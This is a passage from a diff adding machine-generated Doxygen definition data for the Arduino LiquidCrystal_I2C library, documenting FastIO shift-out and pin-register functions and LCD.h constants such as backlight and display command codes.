<<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract direct digital write + @discussion without any checks + @discussion falls back to normal digitalWrite if fast io is disabled + @param pinRegister[in] Register - ignored if fast digital write is disabled + @param pinBit[in] Bit - Pin if fast digital write is disabled + @param value[in] desired output +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a07a19dfbdca1afaca5d666bdaa3be7d5'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToBit'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '115'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Find the bit which belongs to specified pin + @discussion if fast digitalWrite is disabled this function returns the pin + @param pin[in] Number of a digital pin + @result Bit +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1afb934fc0ded94cbb5ed8ed14e2a123ed'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToInputRegister'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '106'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Get the input register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a385ae40d960c1a57e86818332476a802'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToOutputRegister'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'initial_state'; + func-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LOW +_EnD_oF_dEf_TeXt_; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '97'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Get the output register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a5d8d5977294d614d15bda19f75d6b787'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockBit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '184'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract faster shift out clear + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a56c72b9f00680662229895ab22aaa743'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'bitOrder'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '172'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract faster shift out + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled + @param bitOrder[in] bit order +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a33ce251dcd6b448185cda415a99001cf'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Register'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Bit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +boolean +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'noLatch'; + func-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +false +_EnD_oF_dEf_TeXt_; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '194'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract one wire shift out + @discussion protocol needs initialisation (fio_shiftOut1_init) + @param shift1Register[in] pins register + @param shift1Bit[in] pins bit + @param value[in] value to shift out, last byte is ignored and always shifted out LOW +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1af2aac35d9a8ab7a2c87672f2c7cbbafb'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +boolean +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'noLatch'; + func-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +false +_EnD_oF_dEf_TeXt_; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '202'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract one wire shift out + @discussion protocol needs initialisation (fio_shiftOut1_init) + @param pin[in] digital pin + @param value[in] value to shift out, last byte is ignored and always shifted out LOW +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a2d0e4495eb12504255bbd3f82405b17b'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1_init'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Register'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Bit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '210'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract initializes one wire shift out protocol + @discussion Puts pin to HIGH state and delays until Capacitors are charged. + @param shift1Register[in] pins register + @param shift1Bit[in] pins bit +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1ae4b2e099f8ade9ee674d1565669e870a'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1_init'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '217'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract initializes one wire shift out protocol + @discussion Puts pin to HIGH state and delays until Capacitors are charged. + @param pin[in] digital pin +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_i2_c_i_o_8cpp'; + file-name = 'I2CIO.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_i2_c_i_o_8h'; + file-name = 'I2CIO.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_i2_c_i_o_8h_1a218dbde2f6fda8c5825e25da10864c71'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = '_I2CIO_VERSION'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +"1.0.0" +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + define-mem-desc-line = '32'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_l_c_d_8cpp'; + file-name = 'LCD.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_l_c_d_8h'; + file-name = 'LCD.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a0f50ae3b4bdb42dd5ad74b2c604a7515'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'BACKLIGHT_OFF'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '155'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Backlight off constant declaration + @discussion Used in combination with the setBacklight to swith off the + LCD backlight. @set setBacklight +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aa5bad1c51f5fac029f3deacfef48c54b'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'BACKLIGHT_ON'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +255 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '163'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Backlight on constant declaration + @discussion Used in combination with the setBacklight to swith on the + LCD backlight. @set setBacklight +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ab0d87e07831e7e4943caef187872123e'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'COMMAND'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '136'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aad9ae913bdfab20dd94ad04ee2d5b045'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'DATA'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +1 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '137'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aa1e30e32b6c2cf8d90a9281328472dbe'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'FOUR_BITS'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +2 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '138'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ad25b138788d83e67f840588754e2df2f'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'HOME_CLEAR_EXEC'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +2000 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '147'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Defines the duration of the home and clear commands + @discussion This constant defines the time it takes for the home and clear + commands in the LCD - Time in microseconds. +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a8c85cf88d8af66a47c42249d81c94641'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_1LINE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '129'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a7987e93538df2819583ba43b81ddbb25'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_2LINE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x08 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '128'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ab8c35d355d2372090c7a347e961c9224'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_4BITMODE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '127'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1abb3210156d88d3fe18c9352eb161fe42'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_5x10DOTS'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '130'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a9ef57e724c1b846dae0f531aff6fb464'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_5x8DOTS'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '131'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a59a57ca857dae5d89eb5f2a38c4ac6f0'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_8BITMODE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x10 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '126'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a4b28243034cec656b0ed490ba6979752'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_BLINKOFF'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '115'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ac3b19d4e6553b9bbf18a23387e439206'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_BLINKON'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x01 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '114'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1acc3509bc0442b41e2b816555de473ed2'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_CLEARDISPLAY'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x01 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '92'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract All these definitions shouldn't be used unless you are writing + a driver. + @discussion All these definitions are for driver implementation only and + shouldn't be used by applications. +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ac21f0302ac4136775877d5f4759e4f74'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_CURSORMOVE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '120'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a32b194a3adaa0a0bb69acee2e6a754fa'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_CURSOROFF'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '113'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ab67f0adccde68de88eee0513fdfc4574'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_CURSORON'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x02 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '112'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a61f16a2b7550e4700f7898a7587c5594'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_CURSORSHIFT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x10 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '96'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + 